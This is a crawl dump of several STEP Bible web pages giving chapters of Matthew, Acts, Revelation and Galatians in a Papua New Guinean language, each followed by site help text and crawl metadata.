xatu kaxat, la una lok ka lamdak eburu mi nenen, la minamlong uto at lenep silok Israel; mila mo luvuttadi diga lok do dina sev amet nom lamdak, dira met pam.\"\n21 Kuren la ne Josep ga xatu kaxat, la ga lok ka lamdak eburu mi nenen la digamlong uto Israel. 22 Se ne Josep ga ronga i do Akeleas mo ga lok ka lixitkis at ne temen, ne Erodes, ngan loorong silok boro Judaia, neni ga marat kusu ri nemen go. La laangelo ga raba linga manga i xeneng at loromtobo, kuren la digat pas uto at lenep silok Galili. 23 La diga nemen to Nasaret. La levelinga at lavaeme vapaase alii ga sorun. Mo levelinga ga lok keretna, 'Diba so asen i do neni lanat me Nasaret.'\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Mat.2","date":"2018-10-18T11:04:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511806.8\/warc\/CC-MAIN-20181018105742-20181018131242-00145.warc.gz","language":"mmx","language_score":0.9999520779,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999520778656006}","num_words":1005,"character_repetition_ratio":0.059,"word_repetition_ratio":0.002,"special_characters_ratio":0.223,"stopwords_ratio":0.281,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 4\nPita Mi Ne Jon Duga Ru At Lavapaase1 Pita mi ne Jon move duga paase ri limixin la ap mo loxonaleng lavamaasa, mi laradi esep ga lok tatao loogu laplavang, la lubung Sadiusi diga vot pasa du. 2 Diga musak mila nedu duga tong i ri limixin do ne Iesu mo ga roo xat amlong pam basinge lanmet, ti lox asuusu i do limixin di met, dinaba roo xat amlong bok. 3 Kuren la diga ranga alis du, la diga lok li du at loogu xokoxo se ap mo laaleng melemu, mila laxangking mo ga lok do na lotup ta. 4 Ketla buaang atnedi diga ronga i mo lavapaase at ne Pita, diga nuunu; la lexekexes atnedi limixin nuunu ga urut ti lavalimo larabin sangsangaun kobot. (5000)\n5 Ap mo laaleng melemu luvuttadi amgomgo at lubungmixin me Judaia, loxongkulao silok mi luvuttadi loklox ase at Lenavolo diga rupot to Jerusalem. 6 Diga rupot eburu mi ne Anas neni lamgomgo at lubungmaasa, la ne Kaiapas, ne Jon, ne Aleksanda la nedi bok lentaba at libibinat at ne Anas. 7 Diga vaxaru ne Pita mi ne Jon to melamgo atdi la diga sue du, \"Lolos atnege nemu mu ruuna ka i xusu muna lox i na? La laasen atnege nemu mu gugu min?\"\n8 Pita ga umsu mi Loroonan Kaala la ni ga lok tidi, \"Luvuttadi amgomgo at limixin, la nemi loxongkulao silok; 9 mi sue nama lingina ri lempanga avukat mata lox i ri na laradi, luxangkedek teren ga molo, la kereva neni i lox avukat. 10 Minaklen i la limixin axap bok me Israel minaklen i do na laradi na i tu melamgo atnimi, ni ita lox avukat at lolos at laasen at ne Iesu Karisito me Nasaret, no nemi miga vaxarem i at laxaba. Ketla ne Moroa ga lox axatu amlong i basinge lanmet. 11 Iesu neni laradi Lovoang Kaala ga paase mumu i xeretna,\n'Mo luat nemi luvuttadi xipkip gu miga sok tixirixes kepe i, na nga neni i ngan lamgomgo ri levenuat axap.' a\n12 Keneng mun at laasen teren nedik ataba lok ka lorooro avolo; mila kopmen bok ba teta at na lavatbung menemen kopok, laasen teren ne Moroa ga raba limixin min kusu nedik ataba rooro mu i.\"\n13 Luvuttadi amgomgo diga sangu aleng at ne Pita mi ne Jon duga paase lolos la kopmen du goxo marat; diga ven kibis box i do nedu dugat pas amisik eburu mi ne Iesu; la nedu luradi gamasa mun, la kopmen du goxok lok at toloklox ase. 14 Di goxo vorang tempanga mila diga ven mo laradi no duga lox avukar i mo ga tu eburu mi ne Pita la ne Jon. 15 Kuren la diga tong i ridu kusu duna vas su basinge mo loxot tongtonga linga; la diga epaase mumu mo lavanga kantubu atdi. 16 Diga esue xeretna, \"Ataba lok lavanga salai ridu na luradi? Limixin axap na di nemen de Jerusalem diaklen pam na lavanga sangsangu nedu na luradi duta lox i, la nedik kopmen ta epovo bok ba do ataba tong i do du toxo lox i. 17 Ketla ata ru pe na lavanga xusu noxo epeseves kantubu at limixin; ata tong i ridu do nemen bok ba duta vaase asu mo laasen ti tara.\"\n18 La diga ro abeles du ukeneng la diga tong alolos i ridu do nedu noxo tong bok ba mo laasen at ne Iesu la du noxo anasa mi mo laasen teren.\n19 Ketla ne Pita mi ne Jon duga vorang i ridi keretna, \"Nemi xa mina doxoma mumu i na, do ua i lox avukat at lemeren ne Moroa; mana ronga res atnimi xopla mana ronga res at ne Moroa. 20 Kuren la nema ma noxo xap ti vaase asu mo lempanga nema maga ven i la maga ronga i.\"\n21 Luvuttadi amgomgo diga vaase lolos aleng tidu, la melemu diga soxomus asu du. Di goxo epovo do dina sev amarat du; mila buaang limixin diga emi asu mi ne Moroa ri mo lavanga sangsangu ga rupot kantubu atdi. 22 Mo laradi duga lok mo lavanga sangsangu rin, levenmaares teren ga volo lavanuet sangaun.\nLisingising At Luvuttadi Nuunu23 Melemu at losoksoxomus asu atdu, Pita mi ne Jon dugamlong saparap lentaba atdu, la duga tong mo levelinga, lavamaasa silok mi loxongkulao silok diga tong i. 24 Diga ronga i mo, la diga lok legesa doxoma mi lisingising saparap ne Moroa, diga lok keretna, \"Leeme Silok, nenu luruntudum li at laxalibet, lavatbung menemen, laras la lempanga axap mo di rooro xeneng teren. 25 Uga vaase asu na levelinga mi Loroonan Kaala at lungusno at ne Devit, lurubuno nama. Neni lasaxaruki ram, ni ga lok,\n'Tila ba limixin kopmen me Judaia di musak; tila limixin di gagas ti esep eburu mi ne Moroa? Mo lodoxoma atdi ba xap kot. 26 Lavaorong silok at na lavatkangka di gagas li nedi la lavaeme silok bok di tupot eburu amisik kusu dina esep eburu mi ne Moroa la Lanarong teren.' b\n27 Kerepmo ne Erodes mi ne Pontias Paelat diga rupot eburu at na lemenemen silok eburu minedi limixin me Judaia la limixin kopmen di me Judaia; kusu dina lox abulubun kepe ne Iesu, neni lasaxaruki dadat taram, mo nu ga lok li i do Lanarong. 28 Diga rupot buru ri lok lempanga no nenu ugara gagas li vam i mi lolos taram la lodoxoma ram do naba vot. 29 Monga Leeme Silok, u ronga vam mo levelinga lolos di tong i; la una lox abelemes nema lavasaxaruki ram kusu mana vaase asu Lagale Lavavang. 30 Una song asu mi lakngam ti lox aroo levenanmeres la una lok bok tempanga sangsangu xeneng at laasen at lasaxaruki dadat taram, ne Iesu.\"\n31 Melemu at lisingising atdi, mo loxot nedi diga vot eburu ren gang nengne. Diga umsu mi lolos at Loroonan Kaala la diga vaxaru ka i xusu dina paase asu levelinga at ne Moroa la kopmen bok ba teanmarat.\nLuvuttadi Nuunu Diga Epes Lempanga Kantubu Atdi32 Mo luvuttadi nuunu diga nemen mun keneng at legeso doxoma la legese belen. Kopmen teta atnedi ga lok do mo lempanga ren, ateren axa; ketla diga epes di getgesara mi lempanga axap diga ruuna i. 33 Luvuttadi vavang diga ruuna ka lolos la diga paase asu Lagale Lavavang at laxakatu kaxat amlong at Leeme Silok ne Iesu. La ne Moroa ga suxa umsu di mi leveloklox anarong. 34 Kopmen teta xantubu atdi gat kis pakpakes. Lentaba diga ruuna lengkongkangka la lentaba diga ruuna laraugu, diga sesep min la diga lok kaka levempilas at nom, 35 la diga raba luvuttadi vavang min; la mo levempilas diga epes ba i xantubu atnedi ga epovo at lavakpakes atnedi getgesara.\n36 La ne Josep neni at libibinat at ne Levi, neni boro Saipras, mo luvuttadi vavang diga tong box i do Banabas (Lavasuun at laasen Banabas do, \"Laradi loklox alolos.\") 37 Neni ga sesep mi loxongkangka ren, ga lok ka levempilas, la ga song araba luvuttadi vavang min.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.4","date":"2018-10-17T23:35:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511314.51\/warc\/CC-MAIN-20181017220358-20181018001858-00517.warc.gz","language":"mmx","language_score":0.9999887943,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999887943267822}","num_words":1286,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 91 La laangelo sepsev avalimo ga mas mo luru ren la aga ven lenti no xopok at laxangka ga subu si boro vana lamavangkap. La mo lenti ga lok ka lengki ri suang lumusaragu at lemeroon. 2 La ni ga suang lumusaragu at lemeroon la lusuxa ga ravasu ngan lusuxa at langsangan laxao. La mo lusuxa ga vula pe laxangking eburu mi lamavangkap la laxangking goxo epovo ri soosoo. 3 La laxanasku ga ravasu boro at lusuxa uto at laxangka, la diga lok ka lololos ngan lololos at laksoxomet at na lavatkangka. 4 La diga lok ka levelinga do nemen gat di guta lok kapmek lempivilis at na lavatkangka kopla levenasen ang bok, kopla levenuna; ketla dina lox asongot mene limixin, kopmen di goxo ruuna loklok katling at ne Moroa ro at levenmang atdi. 5 La diga lok ka lololos kusu ri lox asongot nedi at lavalimo gaaling mun, ketla nemen gat di guta sev amet di. Mo losongsongot nedi diga suma i, ga lok ngan losongsongot at laksoxomet do i bi asongot laradi. 6 La keneng ap mo lavalimo gaaling limixin dibam suma mo losongsongot silok la diba vara ri lanmet, ketla di noxo vuse ka i. Diba vara meremet ketla lanmet naba o basinge di.\n7 Mo laxasixu diga ven ngan laxanos diga gagas kusu ri leesep. La to at lempatlak atdi diga siga lempatbungorong, ga lok ngan logol. La levenmeren diga lok ngan levenmeren at luvuttadi. 8 Lengkabinim atdi ga baalom ngan lengkabinim at lavakin la levesangsa atdi ga lok ngan levesangsa at laion. 9 Diga siga pe lenbongobong atdi mi levempanga singsiga aen; la lasasang at levempapa atdi ga lok ngan lasasang at laxanos eburu mi laxangkaris digak sixit uto at leesep. 10 La diga ruuna bok levenatketke la ga soxobi ngan at levenaksoxomet; la mo lololos ti sev asongot gak lok at levenatketke atdi la diga epovo na lox asongot limixin keneng at nom lavalimo gaaling. 11 Diga ruuna loorong silok, neni laangelo ik lok tatao lemeroon; laasen teren keneng at lavapaase Ibru do ne Abadon la at lavapaase Grik do ne Apolion. Lavasuun at na laasen do 'Laradi sesele utut kepe.'\n12 Lumumuat avot mo gara xap ta, ketla legepu mumuat move gara vot bok.\n13 La laangelo sepsev avanna ga mas luru ren, la aga ronga laxaka linga boro at lavanuet mesuluk ap mo loxonin laplavang i gol la i tu ro melamgo at ne Moroa, 14 la ni ga lok ti mo laangelo sepsev avanna xeretna, \"Una soxomus asu lavanuet lubungangelo mo dik lok at loxokoxo to at ladan silok Iupretis.\" 15 Ni ga soxomus asu mo lavanuet lubungangelo la mo diga gagas ti mo loxonatat aleng ap mo laaleng ap mo lagaaling la ap mo lamaares kusu dina sev amet lenep sepsev avantun at limixin axap. 16 La aga ronga luutus at limixin esep ga buaang aleng, digat kis at laxanos atdi ga epovo at legepu sangaun kobot milion. 200,000,000. 17 La keneng at na lisilimet tarak aga ven mo laxanos la mo luvuttadi digat kis atdi diga siga pe lenbongobong atdi, mi levempanga singsiga aen mo ga memele aleng, la ga mamaxa ngan la sapira, ni loxonuat gamgames i mamaxa; la nom lempanga singsiga ga ngangan bok ngan salpa, mo i lok ngan laxakup ngangan. La lempatlak ap mo laxanos ga lok ngan lempatlak at laxan laion, la laxao eburu mi lusuxa la lasalpa ga ravasu boro at levenngusno atdi. 18 La na lavantun levempanga, laxao, lusuxa, la lasalpa ga sev amet lenep sepsev avantun at limixin axap. 19 Lololos ap mo laxanos gak lok to at levenngusno atdi, la to at levenatketke atdi. Mo levenatketke atdi ga lok ngan lempasii la diga ruuna lempatlak atdi kusu dina sev asongot bok limixin min.\n20 La nedi limixin di goxo met ap mo levesongsongot, di goxo leeng basinge leveloklok kakapmek atdi. La move di goxo xap ti lotu saparap lubunggas la lempoovo moroa diga lox i mi levenuat ngan logol, la siliva la borons la levenuat petpes bok la levengkonuna, mo lempanga dixo epovo do dina reven la dinang tonga la dinat pas. 21 La kopmen bok nedi limixin di goxo leeng basinge loklok ti sev amet tadi, la loklok ti lok levesak la loklok kakapmek maxamang at lixitkis epot la loklok kipkip pilo.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.9","date":"2018-10-23T18:38:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516892.84\/warc\/CC-MAIN-20181023174507-20181023200007-00123.warc.gz","language":"mmx","language_score":0.999941349,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999941349029541}","num_words":857,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Galatians 3\nLenavolo Xopla Lunuunu1 Laxampanga rangtangku nemi leme Galesia. Nege rinotno ga sar asoogong lodoxoma atnemi basinge lunuunu ruturun, kusu mina mumu asu Lenavolo? Gano migara ven axasep pam lavasuun at lanmet at ne Iesu Karisito ro vana at laxaba. 2 La mina tong be i ria. Kereva, nemi miga ruuna xaka bok Loroonan at ne Moroa mumu lumumu asu atnemi at Lenavolo? Kopla, miga ruuna xaka Loroonan at ne Moroa mumu lorongtonga atnemi ri Lagale Lavavang la lunuunu atnemi saparav i? 3 Ming tangku solo xereva? Miga ru kaxat avot lunuunu atnimi mi Loroonan at ne Moroa; la mo nga mi lok do mina ruuna ka lunuunu ngan limixin mukun mi lololos axa atnimi. Ketla kopmen mina epovo. 4 Migarap kip levesongsongot mumu lunuunu atnemi. Kereva, migang songot gamasa mun? 5 Kereva, Moroa im taba nemi mi Loroonan Kaala la ik lok levempanga sangsangu xeneng atnemi, atla mik lok levempanga Lenavolo i paase i, kopla at levereven kibis atnemi ri Lagale Lavavang?\n6 Mina doma mu be lorooro at ne Abaram, ngan Lovoang Kaala i vaase i xeretna,\n\"Neni ga nuunu at ne Moroa, la mumu mun lunuunu ren saparap ne Moroa, Moroa ga siam kaka i ngan laradi mokmokso.\" a\n7 Kuren la mina ven kibis i do nedi limixin di ruuna lunuunu, diba ravasu ngan livipisik li rinotno at ne Abaram. 8 Lovoang Kaala ga vaase avot be i xeretna do ne Moroa naba lok li limixin kopmen di me Judaia ngan nedi limixin mokmokso mumu mun lunuunu atnedi. La avot ti lovotpot at Lagale Lavavang keneng at ne Iesu, Lovoang Kaala ga vaase asu i ri ne Abaram keretna, \"Mumu mun lunuunu ram, nenia anaba lox anarong limixin axap at na lavatbung menemen.\" 9 Ne Abaram ga nuunu, kuren la neni ga lok ka loklox anarong, la nedi di nuunu, dinaba lok kaka bok loklox anarong ngan i.\n10 La nedi axap ding tonga res kusuk mun at Lenavolo at leme Judaia xusu dina lok kaka lorooro, nedi dik lok maxopok at lasaxaek ne Moroa im taba i. I ngan Lovoang Kaala i vaase i xeretna,\n\"Do nege do ixong tonga res amisik at levengkot axap keneng at Lenavolo, neni ik lok maxopok at lasaxaek ne Moroa im taba i.\" b\n11 Amo nga, i xasep tinotno do, kopmen teta naba sepmus basinge loklok kakapmek mumu mun lumumu asu ren at Lenavolo; i ngan Lovoang Kaala i vaase i xeretna,\n\"Laradi xusuk mun ua neni i sepmus keneng at lunuunu ren, neni naba ruuna ka lorooro avolo.\" c\n12 La Lenavolo ixo ruuna tekot keneng at lunuunu, ketla Lovoang Kaala i vaase i xeretna,\n\"Do nege i lox epovo levempanga axap Lenavolo i paase i, neni naba ruuna ka lorooro avolo.\" d\n13 Ketla ne Karisito ga ruuna ka lasaxaek at loxonaleng neni ga ru korop ka lasaxaek, no ne Moroa im taba nedi di mumu asu Lenavolo min; kerepmo neni ga un ka amlong nema basinge nom lasaxaek; i ngan Lovoang Kaala i vaase i xeretna,\n\"Do nege na rem to vana at laxaba, neni i ruuna xaka lasaxaek boro at lebelemamao at ne Moroa.\" e\n14 Ne Karisito ga un ka amlong nama kusu no loklox anarong ne Moroa ga xaape min ti ne Abaram naba volo bok ti limixin kopmen di me Judaia. Ne Iesu Karisito ga lox epovo i na rinama, kusu mumu mun lunuunu atnama maba ruuna xaka Loroonan no ne Moroa ga xaape min.\nIesu Neni Livisik Li At Ne Abaram15 Luvutnetak mi luvurinuk. Ana vaase poovo mi legepu radi do nedu du paase mi tavanga at laxanaleng axap la du siam teren la du malagan tovoang ti lox axasep livirivit li atdu; ixo epovo bok ba xusu teta naba ba gili i xopla na soxurung arup tepempanga ukeneng teren. 16 La i ngan pam ne Moroa ga lok laxakaape ren ti ne Abaram eburu mi legesi visik li ren. Lovoang Kaala kopmen na vaase mi loxolinga ri limixin solo, ngan loxolinga \"Livipisik li ren.\" Lavasuun teren do buaang limixin, kopmen. Legesara mene nga, ngan loxolinga, \"Legesi visik li ren,\" la neni ne Karisito. 17 Lavasuun at levelinga rak keretna; ne Moroa ga lok laxakaape eburu mi ne Abaram la neni ga vit li i xusu neni noxo doma xepe i. La Lenavolo no ga vot ba melemu at lavanuet sangaun kobot mi lavantun sangaun maares (430) la ixo epovo xusu na los polo xopla na lok kepe mo laxakaape at ne Moroa ri ne Abaram. 18 Do laramtaba at ne Moroa ri ne Abaram ga vot mumu mene nga Lenavolo, naba milik ngan ta do, mo laramtaba ren kopmen nak lok at laxakaape ren. Ketla mumu mun laxakaape ren ne Moroa, la neni ga lox asuusu letaba nabalamu ren la ga raba laramtaba ren ti ne Abaram.\n19 Lavanga sala ba i neni lugugu at Lenavolo? Lenavolo ga vot kusu ri lox aven kibis limixin mi lavanga sala rinotno laxapmek, la gak lok mun se at lovotpot at livisik li at ne Abaram, la neni ne Moroa ga xaape min. La ne Moroa xa ga raba lubung angelo ren mi Lenavolo xusu dina raba ne Moses min ngan laradi me xantubu, la ne Moses ga raba limixin min. 20 Ketla at laaleng ne Moroa ga raba ne Abaram mi laxakaape ren, neni axa ga lox i, kopmen teangelo xopla laradi me xantubu gita raba ne Abaram min.\n21 Kereva ba, Lenavolo i ra korop levengkakaape at ne Moroa? Kopmen tinotno. Amo dola neni gita raba bok tenavolo rim taba lorooro, i lok ngan do limixin axap ding tonga res at Lenavolo, nedi dinabak mokso basinge loklok kakapmek. Ketla kopmen na ruturun. 22 Ketla Lovoang Kaala i vaase i xeretna do, limixin axap at na lavatbung menemen, dik lok maxopok at lololos at laxapmek; kuren la na laramtaba ne Moroa ga xaape min ti limixin, it pot mumu mun lunuunu saparap ne Iesu Karisito, la ne Moroa im taba i rinedi di nuunu.\n23 Ketla, avot ti langas at lunuunu ga vot, Lenavolo gak soxoba pe nema ngan luvuttadi dik lox at loxokoxo se rinotno at laaleng lunuunu saparap ne Karisito ga ravasu. 24 Kuren la Lenavolo gak lok tatao luruptuvuk atnema la ga gagas li nama ti mo laaleng ne Karisito ga vot teren; neni ga vot kusu mana sepmus basinge loklok kakapmek keneng at lunuunu atnema. 25 Kuren la amo nga, lunuunu ik lok atnema, la Lenavolo ixo lok tatao bok ba nema.\nNemi Luvutnitna At Ne Moroa26 Nemi axap luvutnitna ne Moroa mumu mene lunuunu atnemi saparap ne Iesu Karisito. 27 Nemi miga sep susu ukeneng at laasen at ne Karisito, la amo nga Moroa ga lok nimi xusu mina vee ngan ne Karisito. 28 Kuren la limixin me Judaia eburu minedi xopmen di me Judaia, di epovo axap mun, kuren bok pam at luvuttadi asaxaruki la luvuttadi dik lok gamasa, la nedi bok lavatlok la lavakin; nemi axap mi lok ngan mun legesara keneng at lurutu eburu mi ne Iesu Karisito. 29 Do nemi at ne Karisito, mi lok ngan pam do nemi livipisik li at ne Abaram, la minaba ruuna xaka mo loklox anarong ne Moroa ga xaape min ti ne Abaram.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Gal.3","date":"2018-10-16T16:50:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510853.25\/warc\/CC-MAIN-20181016155643-20181016181143-00372.warc.gz","language":"mmx","language_score":0.9999952316,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999995231628418}","num_words":1333,"character_repetition_ratio":0.069,"word_repetition_ratio":0.003,"special_characters_ratio":0.217,"stopwords_ratio":0.281,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Galatians 41 La ti lox epasum levelinga rak, keretna; no lamdak naba ruuna xaka lempanga apnovos at ne temen, neni i lok ngan laradi saksaxaruki at levenmaares neni i aau la i mumu asu levelinga at ne temen, ketla melemu neni naba silok la naba ruuna ka levempanga axap at ne temen. 2 La neni nabak lok levempanga, luvuttadi loklok tatao ren na tong i rin kusu neni nak lox i, naba se rinotno at loxonaleng ne temen ga vit li i, xusu na lox asilox i. 3 I lok ngan pam gano nedik ta goxo xasep nunuan at luruturun la dik taga nemen maxopok at Lenavolo eburu mi leventaangas teren nade xopok at na lavatbung menemen. 4 Ketla loxonaleng ga vot ne Moroa ga vit li i, neni ga riki ne Nitna rinotno. La neni ga ravasu ngan lamdak at latkin at na lavatkangka, la neni gak lok maxopok at Lenavolo at leme Judaia, 5 kusu ri un ka amlong nedi digak lok maxopok at Lenavolo, la kusu nedik ataba ravasu ngan luvutnitna ne Moroa. 6 Nedik luvutnitna ne Moroa, kuren la neni ga riki asu Loroonan i nemen keneng at ne Nitna ukeneng ti lorooro atnedik, la neni mo Loroonan ik lok nedik la diram doma su at ne Temen nedik la dira toro rin keretna, \"Tamak, Tamak!\" 7 Kuren la nemi mixo lok ngan bok ba lavaanat saxaruki, ketla nemi luvutnitna. Kuren la ne Moroa naba raba nemi mi leveloklox anarong neni ga gagas li i xusu ri luvutnitna.\nLodoxoma Rinotno At Ne Pol Mumu Lenavolo8 Gano, nemi mi goxoklen ne Moroa, kuren la miga lok ngan lavaanat saxaruki at laxampoovo moroa. 9 Ketla amo manga miraklen ne Moroa, i ruturun aleng do ne Moroa iklen nemi; ira lok bok ba mo xereva la miramlong mu manga mo leveloklok la leventaangas gamasa at Lenavolo la mira lok li nimi maxopok teren? Tila la mira vara manga i xusu mina lok ngan lavaanat saxaruki at na laxaloklok? 10 La mi mumu asu manga mo leveloklok ti lok katling levenaleng la leven gaaling la levenaleng at laavat la lamaares. 11 Nenia am doma solo mumu nemi. Kereva, leven gugu rak aga lox i xantubu atnemi, neni naba ngan lugugu asen kepe mun?\n12 Luvutnetak mi luvurinuk, a sing tinotno nemi xusu mina ke xepe mo leveloklok la leventaangas at Lenavolo kerekngan nenia aga ke xepe i; la kerepmo nia axok lok maxopok teren kerekngan nemi bok mi goxok lok maxopok teren. Ap mo levenaleng nenia aga nemen eburu minimi, nemi mi goxo lok tepanga xapmek tia. 13 Miklen bok ua lavasuun teren la nenia aga vavang avot mi Lagale Lavavang tinemi; lavasuun teren atla nenia aga lok mekmeres. 14 Keke i do mo lanmeres tarak megano ga lox angtang nemi, ketla nemi mi goxo sok tixirixes ia la mi goxo raba arulu ia. Ketla miga seega rangarang kaka ia ngan nemi giba lox i ri laangelo boro vana at laxalibet kopla ne Iesu Karisito axa. 15 Lomomo ga umsu atnemi, ketla ana nga, ira on ta ua? Do nemi gita epovo xuren, la nemi ro migita lik gogo su vam mi levengkatli atnemi la mi gita raba ia min. 16 Kereva, nemi mi munepen minia, atla aga paase nemi mi luruturun?\n17 Limixin petpes mo di tong asu lavavang petpes di doma solo nimi la di lok tong i xusu dina sat kaka nimi, ketla na loklok atdi i lok kapmek tinotno, atla di vara mun i xusu dinak lox epeseves nemi basinge ia, kusu nemi minaba etangas eburu minedi. 18 I lox avukat do limixin dina doma solo mumu tentaba vetpes, mo do loklok nedi dik lox i, i lox avukat. La i lox avukat do mina doma mumu solo amisik tentaba vetpes la kopmen do ap mo mun levenaleng nenia ak lox eburu minemi. 19 Luvutnuruk orong! Nenia a suma losongsongot mumu nemi ngan latkin ing songot at laaleng pipisik teren, la anaba suma na losongsongot se at laaleng lorooro at ne Karisito naba suxuna axap nemi. 20 Aram doma mata i do nenia a girak lox eburu minemi, kusu agiba xasep at loklok atnimi la agiba lok kun lavapaase rak la agira paase atnaasan tinimi. A lok bukbulu mu aleng nemi.\nLampoovo At Ne Agar Mi Ne Sera21 A vara i xusu ana sue be nemi lentaba do ua lavasuun teren la mi vara i do minak lok maxopok at Lenavolo? Kereva, ming tonga xaka bok lempanga Lenavolo i paase i? 22 I paase xeretna do, ne Abaram, ga ruuna legepu madak, ga lara lamdak at latkin asaxaruki ren, la lara at latkin tinotno ren. 23 La lamdak neni ga ruuna xaka i at latkin asaxaruki ren, ga ravasu at loklox araut madak, ketla lamdak ua neni ga ruuna xaka i at latkin tinotno ren, diga visix i mumu laxakaape at ne Moroa.\n24 Mo lempanga ga vot kantubu ap mo legeputkin, neni lampoovo at legepu ekabus. I ngan lara at ne Agar, i ru katling limixin ua diga visik abeles di at loxokoxo, eburu mi lekabus mumu Lenavolo ua diga lok ka i ro at lakaana Sinai. 25 La ne Agar, neni i ru katling bok lakaana Sinai, keneng at lenep taba Arabia; neni lampoovo ri lemenemen silok Jerusalem ik lok keneng at loxokoxo eburu mi limixin axap me Judaia. 26 Ketla ne Jerusalem ua ik lok to vana at laxalibet, neni xopmen nak lok at loxokoxo, la neni, nenen dik; 27 i ngan Lovoang Kaala i vaase xeretna,\n\"Nenu latkin uxo ruuna laxamdak, una momo. La nenu latkin ua u xovisi una suma losongsongot ngan lavakin dim suma i at loxonaleng di pisik laxamdak, unap kup la una momo mi lososoro. La latkin latlok teren ga on basinge i, neni naba ruuna taxannitna solo polo mo lara ua latlok teren kopmen na vonon basinge i.\" a\n28 Luvutnetak mi luvurinuk, nemi luvutnitna ne Moroa, mumu lusuusu at laxakaape ren, ngan laxakaape ren ti ne Abaram mi lamdak ne Aisak. 29 Ap mo levenaleng mo lamdak ua diga visix i at langas tik lox araut madak, neni ga lox asongot mo lamdak diga visix i mumu Loroonan at ne Moroa; la at na levenaleng, ik lok bok kuren. 30 Ketla Lovoang Kaala i vaase lavanga salai? I vaase xeretna,\n\"Una riki aonon latkin asaxaruki eburu mi ne nitna, mila 